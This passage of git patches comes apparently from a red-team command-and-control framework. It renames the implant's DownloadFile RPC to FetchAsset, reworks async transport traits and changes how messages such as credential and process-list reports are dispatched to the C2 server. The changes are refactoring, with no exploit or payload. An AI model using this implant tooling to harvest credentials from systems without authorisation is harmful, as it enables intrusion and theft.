protoimpl.UnsafeEnabled { mi := &file_c2_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -630,13 +630,13 @@ func (x *DownloadFileResponse) Reset() { } } -func (x *DownloadFileResponse) String() string { +func (x *FetchAssetResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DownloadFileResponse) ProtoMessage() {} +func (*FetchAssetResponse) ProtoMessage() {} -func (x *DownloadFileResponse) ProtoReflect() protoreflect.Message { +func (x *FetchAssetResponse) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[9] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -648,12 +648,12 @@ func (x *DownloadFileResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DownloadFileResponse.ProtoReflect.Descriptor instead. -func (*DownloadFileResponse) Descriptor() ([]byte, []int) { +// Deprecated: Use FetchAssetResponse.ProtoReflect.Descriptor instead. +func (*FetchAssetResponse) Descriptor() ([]byte, []int) { return file_c2_proto_rawDescGZIP(), []int{9} } -func (x *DownloadFileResponse) GetChunk() []byte { +func (x *FetchAssetResponse) GetChunk() []byte { if x != nil { return x.Chunk } @@ -1180,8 +1180,8 @@ var file_c2_proto_goTypes = []interface{}{ (*TaskOutput)(nil), // 6: c2.TaskOutput (*ClaimTasksRequest)(nil), // 7: c2.ClaimTasksRequest (*ClaimTasksResponse)(nil), // 8: c2.ClaimTasksResponse - (*DownloadFileRequest)(nil), // 9: c2.DownloadFileRequest - (*DownloadFileResponse)(nil), // 10: c2.DownloadFileResponse + (*FetchAssetRequest)(nil), // 9: c2.FetchAssetRequest + (*FetchAssetResponse)(nil), // 10: c2.FetchAssetResponse (*ReportCredentialRequest)(nil), // 11: c2.ReportCredentialRequest (*ReportCredentialResponse)(nil), // 12: c2.ReportCredentialResponse (*ReportFileRequest)(nil), // 13: c2.ReportFileRequest @@ -1211,13 +1211,13 @@ var file_c2_proto_depIdxs = []int32{ 23, // 11: c2.ReportProcessListRequest.list:type_name -> eldritch.ProcessList 6, // 12: c2.ReportTaskOutputRequest.output:type_name -> c2.TaskOutput 7, // 13: c2.C2.ClaimTasks:input_type -> c2.ClaimTasksRequest - 9, // 14: c2.C2.DownloadFile:input_type -> c2.DownloadFileRequest + 9, // 14: c2.C2.DownloadFile:input_type -> c2.FetchAssetRequest 11, // 15: c2.C2.ReportCredential:input_type -> c2.ReportCredentialRequest 13, // 16: c2.C2.ReportFile:input_type -> c2.ReportFileRequest 15, // 17: c2.C2.ReportProcessList:input_type -> c2.ReportProcessListRequest 17, // 18: c2.C2.ReportTaskOutput:input_type -> c2.ReportTaskOutputRequest 8, // 19: c2.C2.ClaimTasks:output_type -> c2.ClaimTasksResponse - 10, // 20: c2.C2.DownloadFile:output_type -> c2.DownloadFileResponse + 10, // 20: c2.C2.DownloadFile:output_type -> c2.FetchAssetResponse 12, // 21: c2.C2.ReportCredential:output_type -> c2.ReportCredentialResponse 14, // 22: c2.C2.ReportFile:output_type -> c2.ReportFileResponse 16, // 23: c2.C2.ReportProcessList:output_type -> c2.ReportProcessListResponse @@ -1332,7 +1332,7 @@ func file_c2_proto_init() { } } file_c2_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DownloadFileRequest); i { + switch v := v.(*FetchAssetRequest); i { case 0: return &v.state case 1: @@ -1344,7 +1344,7 @@ func file_c2_proto_init() { } } file_c2_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DownloadFileResponse); i { + switch v := v.(*FetchAssetResponse); i { case 0: return &v.state case 1: diff --git a/tavern/internal/c2/c2pb/c2_grpc.pb.go b/tavern/internal/c2/c2pb/c2_grpc.pb.go index 361413d85..31d42f130 100644 --- a/tavern/internal/c2/c2pb/c2_grpc.pb.go +++ b/tavern/internal/c2/c2pb/c2_grpc.pb.go @@ -31,7 +31,7 @@ type C2Client interface { // - "file-size": The number of bytes contained by the file. // // If no associated file can be found, a NotFound status error is returned. - DownloadFile(ctx context.Context, in *DownloadFileRequest, opts ...grpc.CallOption) (C2_DownloadFileClient, error) + DownloadFile(ctx context.Context, in *FetchAssetRequest, opts ...grpc.CallOption) (C2_DownloadFileClient, error) // Report a credential from the host to the server. ReportCredential(ctx context.Context, in *ReportCredentialRequest, opts ...grpc.CallOption) (*ReportCredentialResponse, error) // Report a file from the host to the server. @@ -66,7 +66,7 @@ func (c *c2Client) ClaimTasks(ctx context.Context, in *ClaimTasksRequest, opts . return out, nil } -func (c *c2Client) DownloadFile(ctx context.Context, in *DownloadFileRequest, opts ...grpc.CallOption) (C2_DownloadFileClient, error) { +func (c *c2Client) DownloadFile(ctx context.Context, in *FetchAssetRequest, opts ...grpc.CallOption) (C2_DownloadFileClient, error) { stream, err := c.cc.NewStream(ctx, &C2_ServiceDesc.Streams[0], "/c2.C2/DownloadFile", opts...) if err != nil { return nil, err @@ -82,7 +82,7 @@ func (c *c2Client) DownloadFile(ctx context.Context, in *DownloadFileRequest, op } type C2_DownloadFileClient interface { - Recv() (*DownloadFileResponse, error) + Recv() (*FetchAssetResponse, error) grpc.ClientStream } @@ -90,8 +90,8 @@ type c2DownloadFileClient struct { grpc.ClientStream } -func (x *c2DownloadFileClient) Recv() (*DownloadFileResponse, error) { - m := new(DownloadFileResponse) +func (x *c2DownloadFileClient) Recv() (*FetchAssetResponse, error) { + m := new(FetchAssetResponse) if err := x.ClientStream.RecvMsg(m); err != nil { return nil, err } @@ -172,7 +172,7 @@ type C2Server interface { // - "file-size": The number of bytes contained by the file. // // If no associated file can be found, a NotFound status error is returned. - DownloadFile(*DownloadFileRequest, C2_DownloadFileServer) error + DownloadFile(*FetchAssetRequest, C2_DownloadFileServer) error // Report a credential from the host to the server. ReportCredential(context.Context, *ReportCredentialRequest) (*ReportCredentialResponse, error) // Report a file from the host to the server. @@ -198,7 +198,7 @@ type UnimplementedC2Server struct { func (UnimplementedC2Server) ClaimTasks(context.Context, *ClaimTasksRequest) (*ClaimTasksResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method ClaimTasks not implemented") } -func (UnimplementedC2Server) DownloadFile(*DownloadFileRequest, C2_DownloadFileServer) error { +func (UnimplementedC2Server) DownloadFile(*FetchAssetRequest, C2_DownloadFileServer) error { return status.Errorf(codes.Unimplemented, "method DownloadFile not implemented") } func (UnimplementedC2Server) ReportCredential(context.Context, *ReportCredentialRequest) (*ReportCredentialResponse, error) { @@ -245,7 +245,7 @@ func _C2_ClaimTasks_Handler(srv interface{}, ctx context.Context, dec func(inter } func _C2_DownloadFile_Handler(srv interface{}, stream grpc.ServerStream) error { - m := new(DownloadFileRequest) + m := new(FetchAssetRequest) if err := stream.RecvMsg(m); err != nil { return err } @@ -253,7 +253,7 @@ func _C2_DownloadFile_Handler(srv interface{}, stream grpc.ServerStream) error { } type C2_DownloadFileServer interface { - Send(*DownloadFileResponse) error + Send(*FetchAssetResponse) error grpc.ServerStream } @@ -261,7 +261,7 @@ type c2DownloadFileServer struct { grpc.ServerStream } -func (x *c2DownloadFileServer) Send(m *DownloadFileResponse) error { +func (x *c2DownloadFileServer) Send(m *FetchAssetResponse) error { return x.ServerStream.SendMsg(m) } diff --git a/tavern/internal/c2/proto/c2.proto b/tavern/internal/c2/proto/c2.proto index a3125cbfb..d57c744ee 100644 --- a/tavern/internal/c2/proto/c2.proto +++ b/tavern/internal/c2/proto/c2.proto @@ -80,10 +80,10 @@ message ClaimTasksResponse { repeated Task tasks = 1; } -message DownloadFileRequest { +message FetchAssetRequest { string name = 1; } -message DownloadFileResponse { +message FetchAssetResponse { bytes chunk = 1; } @@ -123,7 +123,7 @@ service C2 { rpc ClaimTasks(ClaimTasksRequest) returns (ClaimTasksResponse) {} /* - * Download a file from the server, returning one or more chunks of data. + * Fetch an asset from the server, returning one or more chunks of data. * The maximum size of these chunks is determined by the server. * The server should reply with two headers: * - "sha3-256-checksum": A SHA3-256 digest of the entire file contents. @@ -131,7 +131,7 @@ service C2 { * * If no associated file can be found, a NotFound status error is returned. */ - rpc DownloadFile(DownloadFileRequest) returns (stream DownloadFileResponse); + rpc FetchAsset(FetchAssetRequest) returns (stream FetchAssetResponse); /* * Report a credential from the host to the server. From 2e155d0409608dd459dcb07dc0d9614f06f8ac64 Mon Sep 17 00:00:00 2001 From: KCarretto Date: Thu, 15 Feb 2024 08:14:31 +0000 Subject: [PATCH 03/13] use std::futures in trait instead of async --- implants/Cargo.toml | 1 - implants/lib/eldritch/Cargo.toml | 2 +- implants/lib/eldritch/build.rs | 4 +-- .../lib/eldritch/src/runtime/environment.rs | 6 ++-- implants/lib/eldritch/src/runtime/eval.rs | 8 ++--- .../src/runtime/messages/fetch_asset.rs | 4 +-- .../lib/eldritch/src/runtime/messages/mod.rs | 5 +-- .../src/runtime/messages/report_credential.rs | 2 +- .../src/runtime/messages/report_error.rs | 2 +- .../src/runtime/messages/report_file.rs | 4 +-- implants/lib/transport/Cargo.toml | 1 - implants/lib/transport/src/transport.rs | 33 +++++++++++-------- 12 files changed, 38 insertions(+), 34 deletions(-) diff --git a/implants/Cargo.toml b/implants/Cargo.toml index 4affd63e5..2b3ac76b7 100644 --- a/implants/Cargo.toml +++ b/implants/Cargo.toml @@ -61,7 +61,6 @@ structopt = "0.3.23" sys-info = "0.9.1" sysinfo = "0.29.7" tar = "0.4.38" -trait-variant = "0.1.1" tonic-build = "0.10" tempfile = "3.3.0" tera = "1.17.1" diff --git a/implants/lib/eldritch/Cargo.toml b/implants/lib/eldritch/Cargo.toml index b87e13a93..d64b6ae8e 100644 --- a/implants/lib/eldritch/Cargo.toml +++ b/implants/lib/eldritch/Cargo.toml @@ -10,7 +10,7 @@ print_stdout = [] [dependencies] pb = { workspace = true } -transport = { workspace = true, test = true } +transport = { workspace = true } aes = { workspace = true } allocative = { workspace = true } diff --git a/implants/lib/eldritch/build.rs b/implants/lib/eldritch/build.rs index 32bc917a8..7ea4628ed 100644 --- a/implants/lib/eldritch/build.rs +++ b/implants/lib/eldritch/build.rs @@ -1,6 +1,6 @@ use anyhow::Result; -use std::env; -use std::path::PathBuf; + + #[cfg(all(target_os = "windows", debug_assertions))] fn build_bin_create_file_dll() { diff --git a/implants/lib/eldritch/src/runtime/environment.rs b/implants/lib/eldritch/src/runtime/environment.rs index 98fef4e17..e1adf7814 100644 --- a/implants/lib/eldritch/src/runtime/environment.rs +++ b/implants/lib/eldritch/src/runtime/environment.rs @@ -1,11 +1,11 @@ use super::messages::{Message, ReportText}; -use anyhow::{Context, Error, Result}; -use pb::eldritch::{Credential, File, ProcessList}; +use anyhow::{Context, Result}; + use starlark::{ values::{AnyLifetime, ProvidesStaticType}, PrintHandler, }; -use std::sync::mpsc::{channel, Receiver, Sender}; +use std::sync::mpsc::{Sender}; pub struct FileRequest { name: String, diff --git a/implants/lib/eldritch/src/runtime/eval.rs b/implants/lib/eldritch/src/runtime/eval.rs index 71a56e219..9c73125ec 100644 --- a/implants/lib/eldritch/src/runtime/eval.rs +++ b/implants/lib/eldritch/src/runtime/eval.rs @@ -1,16 +1,16 @@ use super::{ - drain::{drain, drain_last}, + drain::{drain}, messages::{aggregate, Dispatcher, Transport}, - Environment, FileRequest, + Environment, }; use crate::{ assets::AssetsLibrary, crypto::CryptoLibrary, file::FileLibrary, pivot::PivotLibrary, process::ProcessLibrary, report::ReportLibrary, runtime::messages, runtime::messages::Message, sys::SysLibrary, time::TimeLibrary, }; -use anyhow::{Context, Error, Result}; +use anyhow::{Context, Result}; use chrono::Utc; -use pb::eldritch::{Credential, File, ProcessList, Tome}; +use pb::eldritch::{Tome}; use prost_types::Timestamp; use starlark::{ collections::SmallMap, diff --git a/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs b/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs index 356dbe59c..f6a3251cd 100644 --- a/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs +++ b/implants/lib/eldritch/src/runtime/messages/fetch_asset.rs @@ -1,5 +1,5 @@ use super::Dispatcher; -use anyhow::{Context, Result}; +use anyhow::Result; use pb::c2::{FetchAssetRequest, FetchAssetResponse}; use std::sync::mpsc::Sender; use transport::Transport; @@ -12,7 +12,7 @@ pub struct FetchAsset { impl Dispatcher for FetchAsset { async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { - transport.fetch_asset(self.req, self.tx).await; + transport.fetch_asset(self.req, self.tx).await?; Ok(()) } } diff --git a/implants/lib/eldritch/src/runtime/messages/mod.rs b/implants/lib/eldritch/src/runtime/messages/mod.rs index 1797679a9..a6e6d72e1 100644 --- a/implants/lib/eldritch/src/runtime/messages/mod.rs +++ b/implants/lib/eldritch/src/runtime/messages/mod.rs @@ -13,11 +13,12 @@ pub use report_process_list::ReportProcessList; pub use report_text::ReportText; pub use transport::Transport; -use anyhow::{Error, Result}; +use anyhow::Result; use derive_more::From; +use std::future::Future; pub trait Dispatcher { - async fn dispatch(self, transport: &mut impl Transport) -> Result<()>; + fn dispatch(self, transport: &mut impl Transport) -> impl Future> + Send; } #[derive(From, Clone)] diff --git a/implants/lib/eldritch/src/runtime/messages/report_credential.rs b/implants/lib/eldritch/src/runtime/messages/report_credential.rs index 6ba02c760..1e78e8be9 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_credential.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_credential.rs @@ -1,6 +1,6 @@ use super::{Dispatcher, Transport}; use anyhow::Result; -use pb::{c2::ReportCredentialRequest, eldritch::Credential}; +use pb::{c2::ReportCredentialRequest}; #[derive(Clone)] pub struct ReportCredential { diff --git a/implants/lib/eldritch/src/runtime/messages/report_error.rs b/implants/lib/eldritch/src/runtime/messages/report_error.rs index a34fa00e7..8dee8196b 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_error.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_error.rs @@ -1,5 +1,5 @@ use super::{Dispatcher, Transport}; -use anyhow::{Error, Result}; +use anyhow::{Result}; use pb::c2::{ReportTaskOutputRequest, TaskError, TaskOutput}; use prost_types::Timestamp; diff --git a/implants/lib/eldritch/src/runtime/messages/report_file.rs b/implants/lib/eldritch/src/runtime/messages/report_file.rs index eaa27db68..24231e3ce 100644 --- a/implants/lib/eldritch/src/runtime/messages/report_file.rs +++ b/implants/lib/eldritch/src/runtime/messages/report_file.rs @@ -1,6 +1,6 @@ use super::{Dispatcher, Transport}; use anyhow::Result; -use pb::c2::ReportProcessListRequest; + #[derive(Clone)] pub struct ReportFile { @@ -9,7 +9,7 @@ pub struct ReportFile { } impl Dispatcher for ReportFile { - async fn dispatch(self, transport: &mut impl Transport) -> Result<()> { + async fn dispatch(self, _transport: &mut impl Transport) -> Result<()> { Ok(()) } } diff --git a/implants/lib/transport/Cargo.toml b/implants/lib/transport/Cargo.toml index 9e18ec290..177339f4f 100644 --- a/implants/lib/transport/Cargo.toml +++ b/implants/lib/transport/Cargo.toml @@ -14,7 +14,6 @@ log = { workspace = true } tonic = { workspace = true, features = ["tls-roots"] } prost = { workspace = true} prost-types = { workspace = true } -trait-variant = { workspace = true } tokio = { workspace = true, features = ["macros", "rt-multi-thread"] } tokio-stream = { workspace = true } anyhow = { workspace = true } diff --git a/implants/lib/transport/src/transport.rs b/implants/lib/transport/src/transport.rs index 77ae16317..faaa3ed68 100644 --- a/implants/lib/transport/src/transport.rs +++ b/implants/lib/transport/src/transport.rs @@ -5,13 +5,18 @@ use pb::c2::{ ReportProcessListRequest, ReportProcessListResponse, ReportTaskOutputRequest, ReportTaskOutputResponse, }; -use std::sync::mpsc::{Receiver, Sender}; +use std::{ + future::Future, + sync::mpsc::{Receiver, Sender}, +}; -#[trait_variant::make(Transport: Send)] -pub trait LocalTransport: Clone { +pub trait Transport: Clone + Send { /// /// Contact the server for new tasks to execute. - async fn claim_tasks(&mut self, request: ClaimTasksRequest) -> Result; + fn claim_tasks( + &mut self, + request: ClaimTasksRequest, + ) -> impl Future> + Send; /// /// Fetch an asset from the server, returning one or more chunks of data. @@ -21,18 +26,18 @@ pub trait LocalTransport: Clone { /// - "file-size": The number of bytes contained by the file. /// /// If no associated file can be found, a NotFound status error is returned. - async fn fetch_asset( + fn fetch_asset( &mut self, request: FetchAssetRequest, sender: Sender, - ) -> Result<()>; + ) -> impl Future> + Send; /// /// Report a credential to the server. - async fn report_credential( + fn report_credential( &mut self, request: ReportCredentialRequest, - ) -> Result; + ) -> impl Future> + Send; /// /// Report a file from the host to the server. @@ -41,23 +46,23 @@ pub trait LocalTransport: Clone { /// - Size will automatically be calculated and the provided size will be ignored. /// Content is provided as chunks, the size of which are up to the agent to define (based on memory constraints). /// Any existing files at the provided path for the host are replaced. - async fn report_file( + fn report_file( &mut self, request: Receiver, - ) -> Result; + ) -> impl Future> + Send; /// /// Report the active list of running processes. This list will replace any previously reported /// lists for the same host. - async fn report_process_list( + fn report_process_list( &mut self, request: ReportProcessListRequest, - ) -> Result; + ) -> impl Future> + Send; /// /// Report execution output for a task. - async fn report_task_output( + fn report_task_output( &mut self, request: ReportTaskOutputRequest, - ) -> Result; + ) -> impl Future> + Send; } From 4b44ca2d74a2a5ca460e172b8efcccf4df7803a9 Mon Sep 17 00:00:00 2001 From: KCarretto Date: Thu, 15 Feb 2024 08:15:47 +0000 Subject: [PATCH 04/13] lint fixes --- implants/imix/src/task.rs | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/implants/imix/src/task.rs b/implants/imix/src/task.rs index 392c61e25..71804c4a6 100644 --- a/implants/imix/src/task.rs +++ b/implants/imix/src/task.rs @@ -1,11 +1,8 @@ use anyhow::Result; use eldritch::runtime::messages::Dispatcher; -use eldritch::FileRequest; -use pb::c2::{ - FetchAssetRequest, FetchAssetResponse, ReportCredentialRequest, ReportProcessListRequest, - ReportTaskOutputRequest, TaskError, TaskOutput, -}; -use std::sync::mpsc::channel; + + + use tokio::task::JoinHandle; use transport::Transport; From 01eb3d355b859d29e1457da65f9b015a51cfd7e3 Mon Sep 17 00:00:00 2001 From: KCarretto Date: Thu, 15 Feb 2024 21:14:28 +0000 Subject: [PATCH 05/13] fix most things --- implants/Cargo.toml | 4 +- implants/imix/src/install.rs | 9 +- implants/imix/src/task.rs | 202 +++--------------- implants/lib/eldritch/Cargo.toml | 1 + implants/lib/eldritch/src/assets/copy_impl.rs | 20 +- .../eldritch/src/report/process_list_impl.rs | 27 ++- .../lib/eldritch/src/report/ssh_key_impl.rs | 50 ++--- .../eldritch/src/report/user_password_impl.rs | 50 ++--- implants/lib/eldritch/src/runtime/drain.rs | 7 - .../lib/eldritch/src/runtime/environment.rs | 14 +- implants/lib/eldritch/src/runtime/eval.rs | 66 +++--- .../src/runtime/messages/fetch_asset.rs | 11 +- .../lib/eldritch/src/runtime/messages/mod.rs | 56 +++-- .../src/runtime/messages/report_credential.rs | 17 +- .../src/runtime/messages/report_error.rs | 14 +- .../src/runtime/messages/report_file.rs | 10 +- .../src/runtime/messages/report_finish.rs | 28 +++ .../runtime/messages/report_process_list.rs | 5 +- .../src/runtime/messages/report_start.rs | 28 +++ .../src/runtime/messages/report_text.rs | 14 +- implants/lib/eldritch/src/runtime/mod.rs | 41 ++-- implants/lib/transport/Cargo.toml | 9 +- implants/lib/transport/src/lib.rs | 5 + implants/lib/transport/src/mock.rs | 41 ++++ implants/lib/transport/src/transport.rs | 33 ++- 25 files changed, 362 insertions(+), 400 deletions(-) create mode 100644 implants/lib/eldritch/src/runtime/messages/report_finish.rs create mode 100644 implants/lib/eldritch/src/runtime/messages/report_start.rs create mode 100644 implants/lib/transport/src/mock.rs diff --git a/implants/Cargo.toml b/implants/Cargo.toml index 2b3ac76b7..9fd992446 100644 --- a/implants/Cargo.toml +++ b/implants/Cargo.toml @@ -32,6 +32,7 @@ itertools = "0.10" lsp-types = "0.93.0" log = "0.4.20" md5 = "0.7.0" +mockall = "0.12.1" netstat2 = "0.9.1" network-interface = "1.0.1" nix = "0.26.1" @@ -61,7 +62,6 @@ structopt = "0.3.23" sys-info = "0.9.1" sysinfo = "0.29.7" tar = "0.4.38" -tonic-build = "0.10" tempfile = "3.3.0" tera = "1.17.1" thiserror = "1.0.30" @@ -69,6 +69,8 @@ tokio = "1.19.1" tokio-stream = "0.1.9" tokio-test = "*" tonic = { git = "https://github.com/hyperium/tonic.git", rev = "07e4ee1" } +tonic-build = "0.10" +trait-variant = "0.1.1" uuid = "1.5.0" which = "4.4.2" whoami = "1.3.0" diff --git a/implants/imix/src/install.rs b/implants/imix/src/install.rs index b30cf20dc..7cf0801ad 100644 --- a/implants/imix/src/install.rs +++ b/implants/imix/src/install.rs @@ -44,16 +44,19 @@ pub async fn install() { runtime.finish().await; #[cfg(debug_assertions)] - let mut _output = String::new(); + let mut output = String::new(); #[cfg(debug_assertions)] for msg in runtime.collect() { if let Message::ReportText(m) = msg { - _output.write_str(m.text().as_str()); + if let Err(err) = output.write_str(m.text().as_str()) { + #[cfg(debug_assertions)] + log::error!("failed to write text: {}", err); + } } } #[cfg(debug_assertions)] - log::info!("{_output}"); + log::info!("{output}"); } } } diff --git a/implants/imix/src/task.rs b/implants/imix/src/task.rs index 71804c4a6..01fdee992 100644 --- a/implants/imix/src/task.rs +++ b/implants/imix/src/task.rs @@ -1,9 +1,5 @@ use anyhow::Result; use eldritch::runtime::messages::Dispatcher; - - - -use tokio::task::JoinHandle; use transport::Transport; /* @@ -12,7 +8,7 @@ use transport::Transport; pub struct TaskHandle { id: i64, runtime: eldritch::Runtime, - download_handles: Vec>, + pool: tokio::task::JoinSet<()>, } impl TaskHandle { @@ -21,20 +17,18 @@ impl TaskHandle { TaskHandle { id, runtime, - download_handles: Vec::new(), + pool: tokio::task::JoinSet::new(), } } // Returns true if the task has been completed, false otherwise. pub fn is_finished(&self) -> bool { - // Check File Downloads - for handle in &self.download_handles { - if !handle.is_finished() { - return false; - } + // Check Report Pool + if !self.pool.is_empty() { + return false; } - // Check Task + // Check Tome Evaluation self.runtime.is_finished() } @@ -43,175 +37,27 @@ impl TaskHandle { pub async fn report(&mut self, tavern: &mut (impl Transport + 'static)) -> Result<()> { let messages = self.runtime.collect(); for msg in messages { + // Copy values for logging + #[cfg(debug_assertions)] + let id = self.id; + #[cfg(debug_assertions)] + let msg_str = msg.to_string(); + + // Each message is dispatched in it's own tokio task, managed by this task handle's pool. let mut t = tavern.clone(); - tokio::spawn(async move { - msg.dispatch(&mut t).await; + self.pool.spawn(async move { + match msg.dispatch(&mut t).await { + Ok(_) => { + #[cfg(debug_assertions)] + log::info!("message success (task_id={},msg={})", id, msg_str); + } + Err(_err) => { + #[cfg(debug_assertions)] + log::error!("message failed (task_id={},msg={}): {}", id, msg_str, _err); + } + } }); } - - // tokio::spawn(async move { - // match msg.dispatch(t.clone()).await { - // Ok(_) => {} - // Err(_err) => { - // #[cfg(debug_assertions)] - // log::error!("failed to dispatch message"); - // } - // }; - // } - // }); - - // let exec_started_at = self.runtime.get_exec_started_at(); - // let exec_finished_at = self.runtime.get_exec_finished_at(); - // let text = self.runtime.collect_text(); - // let err = self.runtime.collect_errors().pop().map(|err| TaskError { - // msg: err.to_string(), - // }); - - // #[cfg(debug_assertions)] - // log::info!( - // "collected task output: task_id={}, exec_started_at={}, exec_finished_at={}, output={}, error={}", - // self.id, - // match exec_started_at.clone() { - // Some(t) => t.to_string(), - // None => String::from(""), - // }, - // match exec_finished_at.clone() { - // Some(t) => t.to_string(), - // None => String::from(""), - // }, - // text.join(""), - // match err.clone() { - // Some(_err) => _err.msg, - // None => String::from(""), - // } - // ); - - // if !text.is_empty() - // || err.is_some() - // || exec_started_at.is_some() - // || exec_finished_at.is_some() - // { - // #[cfg(debug_assertions)] - // log::info!("reporting task output: task_id={}", self.id); - - // tavern - // .report_task_output(ReportTaskOutputRequest { - // output: Some(TaskOutput { - // id: self.id, - // output: text.join(""), - // error: err, - // exec_started_at, - // exec_finished_at, - // }), - // }) - // .await?; - // } - - // // Report Credential - // let credentials = self.runtime.collect_credentials(); - // for cred in credentials { - // #[cfg(debug_assertions)] - // log::info!("reporting credential (task_id={}): {:?}", self.id, cred); - - // match tavern - // .report_credential(ReportCredentialRequest { - // task_id: self.id, - // credential: Some(cred), - // }) - // .await - // { - // Ok(_) => {} - // Err(_err) => { - // #[cfg(debug_assertions)] - // log::error!( - // "failed to report credential (task_id={}): {}", - // self.id, - // _err - // ); - // } - // } - // } - - // // Report Process Lists - // let process_lists = self.runtime.collect_process_lists(); - // for list in process_lists { - // #[cfg(debug_assertions)] - // log::info!("reporting process list: len={}", list.list.len()); - - // match tavern - // .report_process_list(ReportProcessListRequest { - // task_id: self.id, - // list: Some(list), - // }) - // .await - // { - // Ok(_) => {} - // Err(_err) => { - // #[cfg(debug_assertions)] - // log::error!( - // "failed to report process list: task_id={}: {}", - // self.id, - // _err - // ); - // } - // } - // } - - // // Download Files - // let file_reqs = self.runtime.collect_file_requests(); - // for req in file_reqs { - // let name = req.name(); - // match self.start_file_download(tavern, req).await { - // Ok(_) => { - // #[cfg(debug_assertions)] - // log::info!("started file download: task_id={}, name={}", self.id, name); - // } - // Err(_err) => { - // #[cfg(debug_assertions)] - // log::error!( - // "failed to download file: task_id={}, name={}: {}", - // self.id, - // name, - // _err - // ); - // } - // } - // } Ok(()) } - - // async fn start_file_download( - // &mut self, - // tavern: &mut impl Transport, - // req: FileRequest, - // ) -> Result<()> { - // let (tx, rx) = channel::(); - - // tavern - // .download_file(FetchAssetRequest { name: req.name() }, tx) - // .await?; - - // let handle = tokio::task::spawn_blocking(move || { - // for r in rx { - // match req.send_chunk(r.chunk) { - // Ok(_) => {} - // Err(_err) => { - // #[cfg(debug_assertions)] - // log::error!( - // "failed to send downloaded file chunk: {}: {}", - // req.name(), - // _err - // ); - - // return; - // } - // } - // } - // #[cfg(debug_assertions)] - // log::info!("file download completed: {}", req.name()); - // }); - - // self.download_handles.push(handle); - // Ok(()) - // } } diff --git a/implants/lib/eldritch/Cargo.toml b/implants/lib/eldritch/Cargo.toml index d64b6ae8e..b659ac002 100644 --- a/implants/lib/eldritch/Cargo.toml +++ b/implants/lib/eldritch/Cargo.toml @@ -77,6 +77,7 @@ winreg = { workspace = true } pnet = { workspace = true } [dev-dependencies] +transport = { workspace = true, features = ["mock"]} httptest = { workspace = true } uuid = { workspace = true, features = ["v4"] } diff --git a/implants/lib/eldritch/src/assets/copy_impl.rs b/implants/lib/eldritch/src/assets/copy_impl.rs index 7987c92da..8a7244ea1 100644 --- a/implants/lib/eldritch/src/assets/copy_impl.rs +++ b/implants/lib/eldritch/src/assets/copy_impl.rs @@ -1,9 +1,6 @@ -use crate::runtime::{ - messages::{FetchAsset, Message}, - Environment, -}; +use crate::runtime::{messages::FetchAssetMessage, Environment}; use anyhow::{Context, Result}; -use pb::c2::{FetchAssetRequest, FetchAssetResponse}; +use pb::c2::FetchAssetResponse; use starlark::{eval::Evaluator, values::list::ListRef}; use std::fs::OpenOptions; use std::io::Write; @@ -67,10 +64,7 @@ pub fn copy(starlark_eval: &Evaluator<'_, '_>, src: String, dst: String) -> Resu if tmp_list.contains(&src_value.to_value()) { let env = Environment::from_extra(starlark_eval.extra)?; let (tx, rx) = channel(); - env.send(Message::from(FetchAsset { - req: FetchAssetRequest { name: src }, - tx, - }))?; + env.send(FetchAssetMessage { name: src, tx })?; return copy_remote(rx, dst); } @@ -82,7 +76,7 @@ pub fn copy(starlark_eval: &Evaluator<'_, '_>, src: String, dst: String) -> Resu mod tests { use crate::{ assets::copy_impl::copy_remote, - runtime::messages::{FetchAsset, Message}, + runtime::messages::{FetchAssetMessage, Message}, }; use pb::c2::FetchAssetResponse; use pb::eldritch::Tome; @@ -142,8 +136,8 @@ mod tests { loop { // The runtime only returns the data that is currently available // So this may return an empty vec if our eldritch tokio task has not yet been scheduled - let mut messages = runtime.collect(); - let mut fetch_asset_msgs: Vec<&FetchAsset> = messages + let messages = runtime.collect(); + let mut fetch_asset_msgs: Vec<&FetchAssetMessage> = messages .iter() .filter_map(|m| match m { Message::FetchAsset(msg) => Some(msg), @@ -159,7 +153,7 @@ mod tests { // Ensure the right asset was requested assert!(fetch_asset_msgs.len() == 1); let msg = fetch_asset_msgs.pop().expect("no asset request received!"); - assert!(msg.req.name == "test_tome/test_file.txt"); + assert!(msg.name == "test_tome/test_file.txt"); // Now, we provide the file to eldritch (as a series of chunks) msg.tx diff --git a/implants/lib/eldritch/src/report/process_list_impl.rs b/implants/lib/eldritch/src/report/process_list_impl.rs index 2e8c3e92e..74ab47fa5 100644 --- a/implants/lib/eldritch/src/report/process_list_impl.rs +++ b/implants/lib/eldritch/src/report/process_list_impl.rs @@ -1,7 +1,4 @@ -use crate::runtime::{ - messages::{Message, ReportProcessList}, - Environment, -}; +use crate::runtime::{messages::ReportProcessListMessage, Environment}; use anyhow::Result; use pb::eldritch::{process::Status, Process, ProcessList}; use starlark::values::Value; @@ -28,10 +25,10 @@ pub fn process_list( }) } - env.send(Message::from(ReportProcessList { + env.send(ReportProcessListMessage { id: env.id(), list: pb_process_list, - }))?; + })?; Ok(()) } @@ -60,8 +57,7 @@ fn unpack_status(proc: &SmallMap) -> Status { #[cfg(test)] mod test { - use anyhow::Error; - use pb::c2::*; + use crate::runtime::Message; use pb::eldritch::process::Status; use pb::eldritch::*; use std::collections::HashMap; @@ -77,8 +73,15 @@ mod test { let mut runtime = crate::start(tc.id, tc.tome).await; runtime.finish().await; - // Dispatch Messages - // TODO + // Read Messages + let mut found = false; + for msg in runtime.messages() { + if let Message::ReportProcessList(m) = msg { + assert_eq!(tc.want_proc_list, m.list); + found = true; + } + } + assert!(found); } )* } @@ -87,8 +90,6 @@ mod test { struct 